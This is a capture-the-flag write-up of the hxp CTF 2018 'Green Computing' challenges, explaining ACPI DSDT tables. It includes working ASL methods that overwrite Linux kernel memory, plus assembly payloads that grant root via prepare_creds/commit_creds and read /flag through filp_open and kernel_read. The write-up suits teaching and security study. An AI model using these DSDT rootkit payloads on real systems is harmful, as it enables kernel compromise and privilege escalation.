As team NOPS we took part to hxp CTF 2018 last weekend and (completely unexpected for us as well) we ranked 1st! Huge congratz to hxp for hosting such amazing CTF!

Green Computing - Intro

In this post we will discuss our solutions for the Green Computing challenges. Even though Green Computing was divided in several standalone challenges, the core idea is shared amongst all of them: implement a "malicious" Advanced Configuration and Power Interface (ACPI) Differentiated System Description Table (DSDT) to elevate privileges and read the flag file.


The Advanced Configuration and Power Interface is an open standard, used by operating systems to discover and configure peripherals, but also to perform power management [1]. It mainly consists of tables, which are passed to the kernel by the firmware. To be more precise, the firmware passes to the kernel the Root System Description Pointer (RSDP) or its extended version (XSDT). From here, the kernel is able to locate the Root System Description Table (RSDT) which in turns contains pointer to all the other tables (FADT, MADT, DSDT..). These tables generally contain only configuration data. Two of them - the Differentiated System Description Table (DSDT) [2] and its supplementaries Secondary System Descriptor Table (SSDT) - as well as being declarative, can also contains ACPI machine language byte code (AML). This bytecode is run by the kernel inside a virtual machine (!), and it is used, for example, during the initialization of a device.

Even if this whole mechanism has been defined "a complete design disaster in every way" by its creator, the Linux kernel well supports this standard and it also gives the users the possibility to load their own DSDTs - since the one contained in the firmware might be buggy. The user supplied DSDT can both be embedded inside the kernel binary during compilation, but also placed under /sys/firmware/acpi/tables/.

If you check you kernel logs, you can see these tables are loaded by the ACPI subsystem in the very early stages of kernel startup. Here is an example taken from my laptop:

pagabuc@kay:~$ sudo dmesg | grep "ACPI:" | head
[    0.000000] ACPI: Early table checksum verification disabled
[    0.000000] ACPI: RSDP 0x000000006FFFE014 000024 (v02 LENOVO)
[    0.000000] ACPI: XSDT 0x000000006FFAC188 00011C (v01 LENOVO TP-N24   00001180 PTEC 00000002)
[    0.000000] ACPI: FACP 0x000000006FFE1000 0000F4 (v05 LENOVO TP-N24   00001180 PTEC 00000002)
[    0.000000] ACPI: DSDT 0x000000006FFBA000 022288 (v02 LENOVO SKL      00000000 INTL 20160527)

A nice feature of AML byte code is that it is fully decompilable using open source tools (on Debian they can be found in acpica-tools). For example to see what the AML code of your machine looks you can use iasl, the ACPI Source Language compiler/decompiler:

pagabuc@kay:~$ sudo cat /sys/firmware/acpi/tables/DSDT > /tmp/DSDT
pagabuc@kay:~$ cd /tmp/
pagabuc@kay:/tmp$ iasl -d DSDT

Intel ACPI Component Architecture
ASL+ Optimizing Compiler/Disassembler version 20181031
Copyright (c) 2000 - 2018 Intel Corporation

Input file DSDT, Length 0x22288 (139912) bytes
ACPI: DSDT 0x0000000000000000 022288 (v02 LENOVO SKL      00000000 INTL 20160527)
Pass 1 parse of [DSDT]
Pass 2 parse of [DSDT]
Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions)

Parsing completed
Disassembly completed
ASL Output:    DSDT.dsl - 976730 bytes
pagabuc@kay:/tmp$ less DSDT.dsl

Since the challenge is based on QEMU, here you can find the decompiled version of its default DSDT. We will not go into all the details of it - because it's a real mess - but its structure is pretty clear. The file starts with a definition block:

DefinitionBlock (
    "acpi-dsdt.aml",    // Output Filename
    "DSDT",             // Signature
    0x01,               // DSDT Compliance Revision
    "BXPC",             // OEMID
    "BXDSDT",           // TABLE ID
    0x1                 // OEM Revision

This block contains the filename where the compiled version of the DSDT will be placed, the "DSDT" signature and revision, and a number of fields that contains information about the vendor (which turned out to be quite important, but more on this later).

Then a number of Scopes and Devices are declared, in a tree-like structure. Inside each of this declarations we can find Methods, which finally contains "non declarative" ASL code. This code somehow resembles "higher-level" programming languages: we have variable declaration (Name), if statements, for and while loop. Under the ASL Operation Reference paragraph of the specification it is possible to find all the operators and their signatures.

At this point you should have all the basics to understand the challenges, so if you are enjoying this post read further to understand how a malicious DSDT can tamper with a running kernel!

Green Computing - The Challenge(s)

When we started working on the challenges only two of them were actually open: Green Computing 1 and Green Computing 1 - fixed. After a while a third and last one, Green Computing 2 was released.

Green Computing 1

To start solving this challenge we applied the first rule of CTFing: whenever the orgas release a fixed version of challenge, you should always throw diff against it, because it may contain an unintended and easier solution!

First of all, all the challenges came with a bunch of files:

The content of (stripped down of the imports but not on the funny comment) is the following:

# Damn Chinese nation-state-level hackers added a tiny chip here :/
# Seems like they are injecting ACPI tables to save electricity O_O
# Please inform Bloomberg
tmp_dir = tempfile.mkdtemp(prefix='green_computing_', dir='/tmp')

with open('kernel/firmware/acpi/dsdt.aml', 'wb') as f:
        b = base64.b64decode(sys.stdin.readline(32 * 1024).strip())
        if b[:4] != b'DSDT':
                b = b''

os.system('find kernel | cpio -H newc --create --owner 0:0 > tables.cpio')
os.system('cat tables.cpio /home/ctf/init.cpio > init.gz')

os.system('qemu-system-x86_64 --version')
print('Booting ...\n', flush=True)
cmd = "qemu-system-x86_64 -m 1337M -kernel /home/ctf/bzImage -initrd init.gz -append 'console=ttyS0 nokaslr panic=-1' -nographic -no-reboot"

As we can see, it indeed expects on the standard input a base64 encoded DSDT. The decoded version is then stored in init.gz which in turns is passed to QEMU.

The result of diff is instead showed below:

pagabuc@kay:~/Downloads/tmp$ diff -r Green\ Computing\ 1 Green\ Computing\ 1\ -\ fixed
Binary files Green Computing 1/init_censored.cpio and Green Computing 1 - fixed/init_censored.cpio differ
diff -r "Green Computing 1/" "Green Computing 1 - fixed/"
< cmd = "qemu-system-x86_64 -m 1337M -kernel /home/ctf/bzImage -initrd init.gz -append 'console=ttyS0 nokaslr panic=-1' -nographic -no-reboot"
> cmd = "qemu-system-x86_64 -monitor /dev/null -m 1337M -kernel /home/ctf/bzImage -initrd init.gz -append 'console=ttyS0 nokaslr panic=-1' -nographic -no-reboot"

Apparently the challenge author forgot to add -monitor /dev/null to the QEMU invocation, which means that we can access the QEMU monitor on remote by entering Ctrl+a c!

Flaaaag? Not that fast! We actually failed hard to dump the memory out of QEMU and lost a good couple of man-hours trying to figure out why. In the end we were not able to, and decided to just switch to the fixed version and come back later on this one when we have had a working exploit :-)

Green Computing 1 - Fixed

Malicious DSDTs have been extensively studied both from academia and industry [3, 4, 5, 6]. The fundamental idea behind this works is that a DSDT can specify OperationRegions, which can read and write from/to different Spaces. One of them, SystemMemory, is particularly appealing for malicious actors because it represents the memory space where, for example, kernel code is loaded. Another good news is that, since we are talking about physical memory, no paging is involved and thus every page of memory writable, including the kernel text itself!

The following, is the "hello world" of DSDT rootkits, as presented by Heasman at BlackHat EU 2006 [4]:

OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1)
Field(SEAC, AnyAcc, NoLock, Preserve) {
      FLD1, 0x8
Store (0x0, FLD1)

This code defines an OperationRegion mapped in the SystemMemory space, starting at 0xC04048 and with size 1 byte. Since OperationRegions can not be accessed direcly, it then defines a Field - which basically contains the layout of the OperationRegion. Finally, with the Store operation, it writes the byte '0x0' to the first byte of the OperationRegion.

Time to warm our hearts with a "FLAAAG" shout? Once again, not that fast! At this point we lost a good amount of time trying to figure out why our pretty simple ASL code seemed to not be executed. The kernel was finding our table, but instead of overriding the new one, it was simply "installing" it, along with the default one. This was also supported by the following message found in the kernel logs:

ACPI: Table Upgrade: install [DSDT-  BOCH-BXPCDSDT]

It turned out that a requisite for overriding the default table is that the new one has the very same OEM ID, OEM Table ID and a version greater than the one already installed. This checks are implemented in drivers/tables/acpi.c:

/* Only override tables matched */
if (memcmp(existing_table->signature, table->signature, 4) ||
    memcmp(table->oem_id, existing_table->oem_id,
       ACPI_OEM_ID_SIZE) ||
    memcmp(table->oem_table_id, existing_table->oem_table_id,
    acpi_os_unmap_memory(table, ACPI_HEADER_SIZE);
    goto next_table;
 * Mark the table to avoid being used in                                                                                                                                                                                                               
 * acpi_table_initrd_scan() and check the revision.                                                                                                                                                                                                    
if (test_and_set_bit(table_index, acpi_initrd_installed) ||
    existing_table->oem_revision >= table->oem_revision) {
    acpi_os_unmap_memory(table, ACPI_HEADER_SIZE);
    goto next_table;

By double checking our DefinitionBlock we noticed that indeed we were missing a space in both the OEM and Table IDs! So after fixing these fields, we tried to recompile and got this error:

table.dsl     21: DefinitionBlock ("acpi-dsdt.aml", "DSDT", 1, "BOCHS ", "BXPCDSDT ", 0x00000002)
Error    6155 -                                              Invalid OEM Table ID ^  (Length cannot exceed 8 characters)

Long story short, the check on the length was not enforced by older iasl compilers, while it was on the version we had on our systems (20181031). After recompiling the DSDT with the older compiler, and feed it to QEMU we were finally greeted with this message:

ACPI: Table Upgrade: override [DSDT-BOCHS -BXPCDSDT]
ACPI: DSDT 0x00000000538E0040 Physical table override, new table: 0x00000000538DB000
ACPI: DSDT 0x00000000538DB000 001643 (v01 BOCHS  BXPCDSDT 00000002 INTL 20160108)

Almost there! The last problem was that we had no clue on how to trigger our ASL code. Usually this is run when the lid of laptop is closed, or to adjust the speed of the fan. On a remote QEMU instance it seemed pretty infeasible to trigger such events. By looking once more in the specification we found out that methods named _INI are run when a table is loaded, and by quickly compiling a test we finally saw our modifications appear in the kernel text!

So at this point we can overwrite any part of the kernel code, but what to write? In such a scenario there are several ways to proceed. For example, Tasteless [7] went for an elegant 2-bytes patch in the sys-setuid syscall, to basically transform it in a commit_creds(prepare_creds(0)) syscall. What we decided to do is instead to overwrite the not-implemented-syscall handler (sys_ni_syscall) and place there the standard prepare_creds+commit_creds:

mov rdi, 0
mov rax, 0xffffffff8104adc0 # prepare_creds
call rax
mov r10, 0xffffffff8104ac20 # commit_creds
mov rdi, rax
call r10 

In this way, whenever a program executes an invalid syscall it automagically gets root privileges! Since call immediate in x86 are relative to the current instruction pointer, we loaded the target in a register and then used the call reg instructions. Later we figured out that pwntools.asm actually has a vma parameter, so the assembler can automatically emit the right offsets, thus a call imm would work. Since the kernel is booted with the nokaslr option, we retrieved the function addresses from the /proc/kallsysm file of a machine running locally.

And finally, here is our DSDT method that takes care of inserting our malicious payload:

DefinitionBlock ("acpi-dsdt.aml", "DSDT", 1, "BOCHS ", "BXPCDSDT ", 0x00000002)
Method (_INI, 0, NotSerialized) {
       OperationRegion (HPTM, SystemMemory, 0x1049d50, 0x0400)
       Field (HPTM, DWordAcc, Lock, Preserve)
         VEND,   300, 
       Store (Buffer(29){0x48,0xc7,0xc7,0x0,0x0,0x0,0x0,0x48,0xc7,0xc0,0xc0,0xad,0x4,0x81,0xff,0xd0,0x49,0xc7,0xc2,0x20,0xac,0x4,0x81,0x48,0x89,0xc7,0x41,0xff,0xd2,0xc3}, VEND)

At this point we thought we had to upload a binary to call an unimplemented syscall, but apparently our parent already took care of that. So we were greeted with a root shell and our well-deserved flag(s)!

Green Computing 2

This challenge was very similar to the previous ones, except of a few things that complicate the matter. First of all, this time the kernel was booted with kaslr which - at least on x86_64 - randomizes both the virtual and the physical address space. Second, init does not execute a shell but only a binary which prints a string and immediately reboots the machine. Third but not least, the kernel is booted with quiet, which means we will not be able to print our flag using printk.

To overcome the first issue we wrote a DSDT method (SRCH) to scan the memory and find the location of sys_reboot, by pattern matching the first bytes of this function. At first, we believed our code was not working because of some timeouts in kernel. For this reason we also wrote another method (ZERA) to skip memory regions containing all zeros:

Method (ZERA, 1){
       OperationRegion (HPTM, SystemMemory, Arg0, 0x200)
       Field (HPTM, DWordAcc, Lock, Preserve){
             VENA, 8,
             VENB, 8,

       NAME(PTR, 5)       
       Store(VENA, PTR) 
       if(LNotequal(PTR, 0x00)) { Return(1) }
       Store(VENB, PTR) 
       if(LNotequal(PTR, 0x00)) { Return(1) }

Method (SRCH, 1){
       OperationRegion (HPTM, SystemMemory, Arg0, 0x200)

       Field (HPTM, DWordAcc, Lock, Preserve){
       VENA, 8,
       VENB, 8,

       NAME(PTR, 5)
       Store(VENA, PTR) 
       if(LNotequal(PTR, 0x55)) { Return(0) }
       Store(VENB, PTR) 
       if(LNotequal(PTR, 0x48)) { Return(0) }

Method (_INI, 0, NotSerialized){

       Name(CNT, 0x1000b2b0)

            if(LEqual(ZERA(CNT), 0)){
               ADD(0x100000, CNT, CNT)

             ADD(0x1000, CNT, CNT)

As a side note, after the competition ended, we talked to the challenge author and apparently there is no timeout whatsoever, which means our code was buggy :)

After locating sys_reboot we injected code to open (filp_open) and read (kernel_read) the flag file. At first we were trying to read the file using vfs_read, but no matter what, it was always returning us EFAULT (Bad Address). It turned out that vfs_read expects the destination buffer to be in userspace, while we were passing a kernel address. After a bit of greping in the kernel code base we found the kernel_read function, which takes care of temporarily overwriting the fs segment register:

ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos)
    mm_segment_t old_fs;
    ssize_t result;

    old_fs = get_fs();
    /* The cast to a user pointer is valid due to the set_fs() */
    result = vfs_read(file, (void __user *)buf, count, pos);
    return result;

To find the addresses of the functions we want to call - since this kernel was coming with any kallsysms - we matched the first bytes of the functions from Green Computing 1. At this point we had the content of flag in memory, but remember that printk is disabled, so we need another way to exfiltrate the flag. After more than 24+ of no sleep and less than 1 hour to go, we had the idea of loading the content of the flag into the registers, because when the kernel crashes, it prints a trace dump. And from this trace dump folks, is where we retrieved our beloved flag - only 15 minutes before the end of the competition!

Finally, here is the full payload we injected into sys_reboot:


mov rdi, 0x100
call 0xffffffff810a1eb0 # kmalloc
push rax

lea rdi,  flag[rip]
xor rsi, rsi
xor rdx, rdx
call 0xffffffff810a6f60 # filp_open

mov rdi, rax
pop rsi
mov rdx, 50
mov rcx, rsi
add rcx, 0x80
push rsi
call 0xffffffff810a8550 # kernel_read 

# Leaking the flag in registers
pop rsi

mov rax, [rsi]
add rsi, 8

mov rbx, [rsi]
add rsi, 8

mov rcx, [rsi]
add rsi, 8

flag: .asciz "/flag"


Solving these challenges was really a blast, and we learned tons of stuff we didn't knew about before. So huge kudos the whole hxp team for running an amazing CTF, and in particular to 0xbb for creating Green Computing!









published on 2018-12-10 by pagabuc, mpuzz

Older Posts

Date Title
2018-07-03 SALT - SLUB ALlocator Tracer for the Linux kernel
2018-01-25 CSAW 2017 Finals - kws2